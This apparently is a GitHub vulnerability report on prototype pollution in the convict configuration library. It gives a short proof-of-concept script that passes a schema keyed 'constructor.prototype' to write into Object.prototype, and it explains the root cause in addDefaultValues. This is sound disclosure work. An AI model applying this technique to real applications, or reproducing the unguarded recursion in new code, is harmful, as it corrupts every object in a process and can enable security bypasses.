Skip to content

Prototype Pollution in convict via schema path (constructor.prototype.*) #423

@34selen

Description

@34selen

Summary (CWE-1321 Prototype Pollution)

convict(schema) becomes globally polluted when the schema object contains a constructor.prototype.* path. During schema normalization/default propagation, the code walks into built-in properties and ends up writing to Object.prototype, which then reflects on all plain objects.

Steps to Reproduce (PoC)

Run in an isolated process; cleanup is included.

// poc.js
const convict = require('convict');

function clean() { try { delete Object.prototype.polluted; } catch {} }

clean();
try {
  convict({
    constructor: {
      prototype: { polluted: 'pwned!' }
    }
  });
} catch (_) {
  // schema format errors may be thrown; pollution can still occur earlier
}
console.log('[PoC1] polluted =', ({}).polluted); // "pwned!" → polluted
clean();

Expected / Actual

Expected: no write to Object.prototype from user-provided schema keys.

Actual: ({}).polluted === "pwned!".

Root Cause

During schema expansion / default injection (addDefaultValues) the implementation recurses through existing values of intermediate nodes. If a schema uses constructor → prototype, the recursion walks into Object function and its prototype, and the leaf write hits Object.prototype (global pollution). String-path filtering in set() doesn’t cover this initialization path.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions